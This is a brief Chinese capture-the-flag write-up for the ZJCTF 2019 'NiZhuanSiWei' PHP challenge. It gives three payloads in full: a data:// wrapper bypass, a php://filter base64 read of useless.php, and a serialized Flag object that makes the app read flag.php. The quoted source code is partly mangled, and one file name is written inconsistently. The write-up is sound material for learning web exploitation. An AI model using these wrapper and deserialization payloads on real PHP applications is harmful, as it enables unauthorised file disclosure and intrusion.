考点:php伪协议、
2019]NiZhuanSiWei
-
考点:php伪协议、
-
打开后是源码,拖到vscode里审计
-
第一个绕过点:
if(isset(text,‘r’)===“welcome to the zjctf”))
-
可以用data://写入协议
-
所以第一个payload: ?text=data://text/plain,welcome to the zjctf
-
接着审计,第二个绕过的地方是,这里会正则匹配flag
if(preg_match("/flag/",$file)){ echo “Not now!”; exit(); }
-
所以不能用flag.php,file的传参里不能有flag,else里会包含unless.php,用filter看一下unless.php
-
第二个payload:file=php://filter/read=convert.base64-encode/resource=useless.php
-
把base64编码的文本解码查看unless.php的内容。
-
$file在这里根据提示就是flag.php,所以直接赋值,然后反序列化输出
-
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
-
第三个payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
-
然后在源码中就可以找到flag